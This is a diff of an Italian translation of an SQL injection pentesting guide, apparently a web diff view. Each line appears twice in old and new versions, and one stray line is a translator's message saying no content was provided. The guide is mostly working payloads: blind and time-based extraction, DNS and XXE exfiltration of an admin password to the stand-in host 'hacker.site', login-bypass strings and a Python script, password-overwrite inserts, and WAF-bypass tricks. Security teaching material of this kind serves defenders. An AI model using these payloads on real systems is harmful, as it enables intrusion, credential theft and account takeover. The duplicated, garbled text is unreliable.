Per approfondimenti più completi, consulta l'articolo completo disponibile su [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Exploiting Error based
|
||||
## Sfruttamento Error based
|
||||
|
||||
Se per qualche motivo **non puoi** vedere l'**output** della **query** ma puoi **vedere i messaggi di errore**, puoi utilizzare questi messaggi di errore per **ex-filtrare** dati dal database.\
|
||||
Seguendo un flusso simile a quello dell'exploitation basata su Union, potresti riuscire a dumpare il DB.
|
||||
Se per qualche motivo non puoi vedere l'**output** della **query** ma puoi vedere i **messaggi di errore**, puoi sfruttare questi messaggi di errore per **ex-filtrate** i dati dal database.\
|
||||
Seguendo un flusso simile a quello dello sfruttamento Union Based, potresti riuscire a dump the DB.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Sfruttare il Blind SQLi
|
||||
## Sfruttare Blind SQLi
|
||||
|
||||
In questo caso non puoi vedere i risultati della query o gli errori, ma puoi **distinguere** quando la query **restituisce** una risposta **vera** o **falsa** perché ci sono contenuti diversi nella pagina.\
|
||||
In questo caso, puoi abusare di quel comportamento per estrarre il database carattere per carattere:
|
||||
In questo caso non puoi vedere i risultati della query o gli errori, ma puoi distinguere quando la query restituisce una risposta **true** o **false** perché ci sono contenuti diversi nella pagina.\
|
||||
In questo caso, puoi abusare di quel comportamento per dump the database char by char:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Sfruttare l'Error Blind SQLi
|
||||
## Exploiting Error Blind SQLi
|
||||
|
||||
Questo è il **stesso caso di prima** ma invece di distinguere tra una risposta vera/falsa dalla query puoi **distinguere tra** un **errore** nella query SQL o meno (forse perché il server HTTP si blocca). Pertanto, in questo caso puoi forzare un errore SQL ogni volta che indovini correttamente il carattere:
|
||||
Questo è lo **stesso caso di prima** ma invece di distinguere tra una risposta true/false dalla query puoi **distinguere tra** un **errore** nella query SQL o meno (forse perché l'HTTP server crashes). Pertanto, in questo caso puoi forzare un SQLerror ogni volta che indovini correttamente il char:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Sfruttare SQLi Basato sul Tempo
|
||||
## Sfruttare Time Based SQLi
|
||||
|
||||
In questo caso non **c'è** alcun modo per **distinguere** la **risposta** della query in base al contesto della pagina. Ma, puoi far sì che la pagina **impieghi più tempo a caricarsi** se il carattere indovinato è corretto. Abbiamo già visto questa tecnica in uso prima per [confermare una vulnerabilità SQLi](#confirming-with-timing).
|
||||
In questo caso **non c'è** alcun modo per **distinguere** la **risposta** della query in base al contesto della pagina. Tuttavia, puoi far sì che la pagina **impieghi più tempo a caricarsi** se il carattere ipotizzato è corretto. Abbiamo già visto questa tecnica in uso in precedenza per [confirm a SQLi vuln](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
Puoi utilizzare le stacked queries per **eseguire più query in successione**. Tieni presente che, mentre le query successive vengono eseguite, i **risultati** **non vengono restituiti all'applicazione**. Pertanto, questa tecnica è principalmente utile in relazione a **vulnerabilità cieche** in cui puoi utilizzare una seconda query per attivare una ricerca DNS, un errore condizionale o un ritardo temporale.
|
||||
Puoi usare stacked queries per **eseguire più query in successione**. Nota che, sebbene le query successive vengano eseguite, i **risultati** **non vengono restituiti all'applicazione**. Pertanto questa tecnica è principalmente utile per **blind vulnerabilities**, dove puoi usare una seconda query per innescare una lookup DNS, un errore condizionale o un ritardo temporale.
|
||||
|
||||
**Oracle** non supporta le **stacked queries.** **MySQL, Microsoft** e **PostgreSQL** le supportano: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
**Oracle** non supporta **stacked queries.** **MySQL, Microsoft** e **PostgreSQL** li supportano: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
Se **nessun altro** metodo di sfruttamento **ha funzionato**, puoi provare a far sì che il **database esfiltri** le informazioni a un **host esterno** controllato da te. Ad esempio, tramite query DNS:
|
||||
Se **nessun-altro** metodo di exploitation ha **funzionato**, puoi provare a far sì che il **database esfiltri** le informazioni verso un **host esterno** controllato da te. Per esempio, tramite query DNS:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
### Esfiltrazione di dati out of band tramite XXE
|
||||
### Esfiltrazione di dati out-of-band via XXE
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
## Exploitazione automatizzata
|
||||
## Sfruttamento automatizzato
|
||||
|
||||
Controlla il [SQLMap Cheatsheet](sqlmap/index.html) per sfruttare una vulnerabilità SQLi con [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Consulta il [SQLMap Cheatsheet](sqlmap/index.html) per sfruttare una vulnerabilità SQLi con [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Informazioni tecniche specifiche
|
||||
## Informazioni specifiche per tecnologia
|
||||
|
||||
Abbiamo già discusso tutti i modi per sfruttare una vulnerabilità di SQL Injection. Trova alcuni altri trucchi dipendenti dalla tecnologia del database in questo libro:
|
||||
Abbiamo già discusso tutti i modi per sfruttare una vulnerabilità SQL Injection. Trova altri trucchi dipendenti dalla tecnologia del database in questo libro:
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
@ -339,48 +340,48 @@ Abbiamo già discusso tutti i modi per sfruttare una vulnerabilità di SQL Injec
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
Oppure troverai **molti trucchi riguardanti: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Bypass dell'autenticazione
|
||||
## Authentication bypass
|
||||
|
||||
Elenco da provare per bypassare la funzionalità di login:
|
||||
Elenco da provare per aggirare la funzionalità di login:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../login-bypass/sql-login-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Bypass dell'autenticazione con hash raw
|
||||
### Raw hash authentication Bypass
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Questa query mette in evidenza una vulnerabilità quando MD5 viene utilizzato con true per l'output raw nei controlli di autenticazione, rendendo il sistema suscettibile a SQL injection. Gli attaccanti possono sfruttare questo creando input che, quando hashati, producono parti di comandi SQL inaspettate, portando ad accessi non autorizzati.
|
||||
Questa query evidenzia una vulnerabilità quando MD5 viene usato con true per l'output raw nei controlli di autenticazione, rendendo il sistema suscettibile a SQL injection. Gli attaccanti possono sfruttarla costruendo input che, una volta calcolato il loro hash, producono parti di comandi SQL inattese, portando ad accesso non autorizzato.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
```
|
||||
### Bypass dell'autenticazione con hash iniettato
|
||||
### Injected hash authentication Bypass
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**Elenco raccomandato**:
|
||||
**Lista consigliata**:
|
||||
|
||||
Dovresti usare come nome utente ogni riga dell'elenco e come password sempre: _**Pass1234.**_\
|
||||
_(Questi payload sono anche inclusi nel grande elenco menzionato all'inizio di questa sezione)_
|
||||
Dovresti usare come username ogni riga della lista e come password sempre: _**Pass1234.**_\
|
||||
_(Questi payload sono anche inclusi nella grande lista menzionata all'inizio di questa sezione)_
|
||||
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Bypass dell'autenticazione GBK
|
||||
### GBK Authentication Bypass
|
||||
|
||||
SE ' viene scappato puoi usare %A8%27, e quando ' viene scappato verrà creato: 0xA80x5c0x27 (_╘'_)
|
||||
Se ' viene escaped puoi usare %A8%27, e quando ' viene escaped verrà creato: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
%bf' or 1=1 -- --
|
||||
```
|
||||
Python script:
|
||||
Script Python:
|
||||
```python
|
||||
import requests
|
||||
url = "http://example.com/index.php"
|
||||
@ -389,76 +390,76 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||
print r.text
|
||||
```
|
||||
### Iniezione poliglotta (multicontext)
|
||||
### Polyglot injection (multicontext)
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
## Insert Statement
|
||||
## Istruzione INSERT
|
||||
|
||||
### Modifica la password di un oggetto/utente esistente
|
||||
### Modificare la password di un oggetto/utente esistente
|
||||
|
||||
Per farlo, dovresti provare a **creare un nuovo oggetto chiamato come il "master object"** (probabilmente **admin** nel caso degli utenti) modificando qualcosa:
|
||||
Per farlo dovresti provare a **create a new object named as the "master object"** (probabilmente **admin** nel caso di utenti) modificando qualcosa:
|
||||
|
||||
- Crea un utente chiamato: **AdMIn** (lettere maiuscole e minuscole)
|
||||
- Crea un utente chiamato: **admin=**
|
||||
- **SQL Truncation Attack** (quando c'è qualche tipo di **limite di lunghezza** nel nome utente o nell'email) --> Crea un utente con nome: **admin \[molti spazi] a**
|
||||
- Create user named: **AdMIn** (maiuscole e minuscole)
|
||||
- Create a user named: **admin=**
|
||||
- **SQL Truncation Attack** (quando c'è un qualche **limite di lunghezza** nel nome utente o nell'email) --> Create user with name: **admin \[a lot of spaces] a**
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
Se il database è vulnerabile e il numero massimo di caratteri per il nome utente è ad esempio 30 e vuoi impersonare l'utente **admin**, prova a creare un nome utente chiamato: "_admin \[30 spazi] a_" e qualsiasi password.
|
||||
Se il database è vulnerabile e il numero massimo di caratteri per il username è per esempio 30 e vuoi impersonare l'utente **admin**, prova a creare un username chiamato: "_admin \[30 spaces] a_" e qualsiasi password.
|
||||
|
||||
Il database **verificherà** se il **nome utente** introdotto **esiste** all'interno del database. Se **non** esiste, **taglierà** il **nome utente** al **numero massimo di caratteri consentito** (in questo caso a: "_admin \[25 spazi]_") e poi **rimuoverà automaticamente tutti gli spazi alla fine aggiornando** all'interno del database l'utente "**admin**" con la **nuova password** (potrebbe apparire qualche errore, ma non significa che non abbia funzionato).
|
||||
Il database **verificherà** se il **username** introdotto **esiste** dentro il database. Se **no**, esso **taglierà** il **username** al **numero massimo di caratteri consentito** (in questo caso a: "_admin \[25 spaces]_") e poi rimuoverà automaticamente tutti gli spazi finali aggiornando nel database l'utente "**admin**" con la **nuova password** (potrebbe apparire qualche errore ma questo non significa che non abbia funzionato).
|
||||
|
||||
Ulteriori informazioni: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Note: Questo attacco non funzionerà più come descritto sopra nelle ultime installazioni di MySQL. Anche se i confronti ignorano ancora gli spazi finali per impostazione predefinita, tentare di inserire una stringa più lunga della lunghezza di un campo comporterà un errore e l'inserimento fallirà. Per ulteriori informazioni su questo controllo:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Note: Questo attacco non funzionerà più come descritto sopra nelle ultime installazioni di MySQL. Anche se le comparazioni ignorano ancora di default gli spazi finali, tentare di inserire una stringa più lunga della lunghezza di un campo produrrà un errore e l'inserimento fallirà. Per maggiori informazioni su questo controllo:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### Controllo basato sul tempo di inserimento MySQL
|
||||
### MySQL Insert time based checking
|
||||
|
||||
Aggiungi quanti più `','',''` ritieni necessari per uscire dalla dichiarazione VALUES. Se viene eseguito un ritardo, hai una SQLInjection.
|
||||
Aggiungi tanti `','',''` quanti ritieni necessari per uscire dalla clausola VALUES. Se il delay viene eseguito, hai una SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
La clausola `ON DUPLICATE KEY UPDATE` in MySQL è utilizzata per specificare le azioni che il database deve intraprendere quando si tenta di inserire una riga che comporterebbe un valore duplicato in un indice UNIQUE o in una PRIMARY KEY. Il seguente esempio dimostra come questa funzionalità possa essere sfruttata per modificare la password di un account amministratore:
|
||||
La clausola `ON DUPLICATE KEY UPDATE` in MySQL viene utilizzata per specificare le azioni che il database deve eseguire quando si tenta di inserire una riga che provocherebbe un valore duplicato in un indice UNIQUE o in una PRIMARY KEY. L'esempio seguente dimostra come questa funzionalità possa essere sfruttata per modificare la password di un account amministratore:
|
||||
|
||||
Esempio di Payload di Iniezione:
|
||||
Esempio Payload Injection:
|
||||
|
||||
Un payload di iniezione potrebbe essere creato come segue, dove si tenta di inserire due righe nella tabella `users`. La prima riga è un'esca, e la seconda riga mira all'email di un amministratore esistente con l'intenzione di aggiornare la password:
|
||||
Un injection payload potrebbe essere creato come segue, in cui si tenta di inserire due righe nella tabella `users`. La prima riga è un'esca, e la seconda prende di mira l'email di un amministratore esistente con l'intento di aggiornare la password:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
Ecco come funziona:
|
||||
|
||||
- La query tenta di inserire due righe: una per `generic_user@example.com` e un'altra per `admin_generic@example.com`.
|
||||
- Se la riga per `admin_generic@example.com` esiste già, la clausola `ON DUPLICATE KEY UPDATE` si attiva, istruendo MySQL ad aggiornare il campo `password` della riga esistente a "bcrypt_hash_of_newpassword".
|
||||
- Di conseguenza, l'autenticazione può quindi essere tentata utilizzando `admin_generic@example.com` con la password corrispondente all'hash bcrypt ("bcrypt_hash_of_newpassword" rappresenta l'hash bcrypt della nuova password, che dovrebbe essere sostituito con l'effettivo hash della password desiderata).
|
||||
- Se la riga per `admin_generic@example.com` esiste già, la clausola `ON DUPLICATE KEY UPDATE` viene attivata, indicando a MySQL di aggiornare il campo `password` della riga esistente a "bcrypt_hash_of_newpassword".
|
||||
- Di conseguenza, si può poi tentare l'autenticazione usando `admin_generic@example.com` con la password corrispondente al bcrypt hash ("bcrypt_hash_of_newpassword" rappresenta il bcrypt hash della nuova password, che dovrebbe essere sostituito con l'hash effettivo della password desiderata).
|
||||
|
||||
### Estrai informazioni
|
||||
### Estrarre informazioni
|
||||
|
||||
#### Creazione di 2 account contemporaneamente
|
||||
#### Creare 2 account contemporaneamente
|
||||
|
||||
Quando si tenta di creare un nuovo utente, sono necessari nome utente, password e email:
|
||||
Quando si tenta di creare un nuovo user, sono necessari username, password e email:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
|
||||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||||
```
|
||||
#### Utilizzando decimale o esadecimale
|
||||
#### Uso del decimale o esadecimale
|
||||
|
||||
Con questa tecnica puoi estrarre informazioni creando solo 1 account. È importante notare che non è necessario commentare nulla.
|
||||
Con questa tecnica puoi estrarre informazioni creando un solo account. È importante notare che non è necessario commentare nulla.
|
||||
|
||||
Utilizzando **hex2dec** e **substr**:
|
||||
Usando **hex2dec** e **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
Per ottenere il testo puoi usare:
|
||||
Non hai fornito il contenuto. Per favore incolla qui il testo di src/pentesting-web/sql-injection/README.md che vuoi tradurre oppure fornisci il comando/output da cui recuperarlo.
|
||||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
Utilizzando **hex** e **replace** (e **substr**):
|
||||
Usando **hex** e **replace** (e **substr**):
|
||||
```sql
|
||||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
|
||||
@ -469,20 +470,20 @@ Utilizzando **hex** e **replace** (e **substr**):
|
||||
```
|
||||
## Routed SQL injection
|
||||
|
||||
L'iniezione SQL routata è una situazione in cui la query iniettabile non è quella che fornisce output, ma l'output della query iniettabile va alla query che fornisce output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Routed SQL injection è una situazione in cui la query iniettabile non è quella che produce l'output, ma l'output della query iniettabile viene passato alla query che produce l'output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Example:
|
||||
Esempio:
|
||||
```
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
```
|
||||
## Bypass WAF
|
||||
## WAF Bypass
|
||||
|
||||
[Iniziali bypass da qui](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[Bypass iniziali da qui](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### Bypass senza spazi
|
||||
### No spaces bypass
|
||||
|
||||
No Space (%20) - bypass utilizzando alternative di spazi bianchi
|
||||
No Space (%20) - bypass usando alternative agli spazi bianchi
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -501,21 +502,21 @@ No Whitespace - bypass usando parentesi
|
||||
```
|
||||
### No commas bypass
|
||||
|
||||
No Comma - bypass utilizzando OFFSET, FROM e JOIN
|
||||
No Comma - bypass usando OFFSET, FROM e JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### Bypass generici
|
||||
### Bypasses generici
|
||||
|
||||
Blacklist usando parole chiave - bypass usando maiuscole/minuscole
|
||||
Blacklist che utilizza keywords - bypass tramite uppercase/lowercase
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Blacklist utilizzando parole chiave senza distinzione tra maiuscole e minuscole - bypassare utilizzando un operatore equivalente
|
||||
Blacklist che usa parole chiave case-insensitive - bypass tramite un operatore equivalente
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -523,10 +524,10 @@ OR -> || -> %7C%7C
|
||||
> X -> not between 0 and X
|
||||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||||
```
|
||||
### Bypass WAF con Notazione Scientifica
|
||||
### Notazione scientifica WAF bypass
|
||||
|
||||
Puoi trovare una spiegazione più dettagliata di questo trucco nel [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
Fondamentalmente puoi utilizzare la notazione scientifica in modi inaspettati per bypassare il WAF:
|
||||
Puoi trovare una spiegazione più approfondita di questo trucco nel [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
Fondamentalmente puoi usare la notazione scientifica in modi inaspettati per bypassare il WAF:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
@ -534,38 +535,68 @@ Fondamentalmente puoi utilizzare la notazione scientifica in modi inaspettati pe
|
||||
```
|
||||
### Bypass Column Names Restriction
|
||||
|
||||
Prima di tutto, nota che se la **query originale e la tabella da cui vuoi estrarre il flag hanno lo stesso numero di colonne** puoi semplicemente fare: `0 UNION SELECT * FROM flag`
|
||||
Prima di tutto, nota che se la **query originale e la tabella da cui vuoi estrarre la flag hanno lo stesso numero di colonne** puoi semplicemente fare: `0 UNION SELECT * FROM flag`
|
||||
|
||||
È possibile **accedere alla terza colonna di una tabella senza utilizzare il suo nome** usando una query come la seguente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, quindi in un sqlinjection questo apparirebbe come:
|
||||
È possibile **accedere alla terza colonna di una tabella senza usare il suo nome** usando una query come la seguente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, quindi in un sqlinjection questo sarebbe:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
```
|
||||
O utilizzando un **comma bypass**:
|
||||
Oppure usando un **comma bypass**:
|
||||
```bash
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
```
|
||||
Questo trucco è stato preso da [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### Strumenti suggeritori per il bypass del WAF
|
||||
### Column/tablename injection in SELECT list via subqueries
|
||||
|
||||
Se l'input dell'utente viene concatenato nella lista SELECT o negli identificatori di tabella/colonna, prepared statements non aiutano perché bind parameters proteggono solo i valori, non gli identificatori. Un pattern vulnerabile comune è:
|
||||
```php
|
||||
// Pseudocode
|
||||
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
|
||||
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
|
||||
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
|
||||
$stmt = $db->pquery($q, [$rec_id]);
|
||||
```
|
||||
Idea di sfruttamento: iniettare una subquery nella posizione del campo per esfiltrare dati arbitrari:
|
||||
```sql
|
||||
-- Legit
|
||||
SELECT user_name FROM vte_users WHERE id=1;
|
||||
|
||||
-- Injected subquery to extract a sensitive value (e.g., password reset token)
|
||||
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
|
||||
```
|
||||
Note:
|
||||
- Questo funziona anche quando la WHERE clause usa un parametro vincolato, perché la lista di identificatori viene comunque concatenata come stringa.
|
||||
- Alcuni stack permettono inoltre di controllare il nome della tabella (tablename injection), abilitando letture cross-table.
|
||||
- Gli output sinks possono riflettere il valore selezionato in HTML/JSON, consentendo XSS o l'esfiltrazione di token direttamente dalla risposta.
|
||||
|
||||
Mitigazioni:
|
||||
- Non concatenare mai identificatori provenienti dall'input utente. Mappa i nomi di colonna consentiti in una allow-list fissa e quotare gli identificatori correttamente.
|
||||
- Se è necessario l'accesso dinamico alle tabelle, limitalo a un insieme finito e risolvilo server-side da una mappatura sicura.
|
||||
|
||||
### Strumenti suggeriti per il bypass WAF
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
{{#endref}}
|
||||
|
||||
## Altre Guide
|
||||
## Altre guide
|
||||
|
||||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Elenco di Rilevamento Brute-Force
|
||||
## Elenco per rilevamento Brute-Force
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user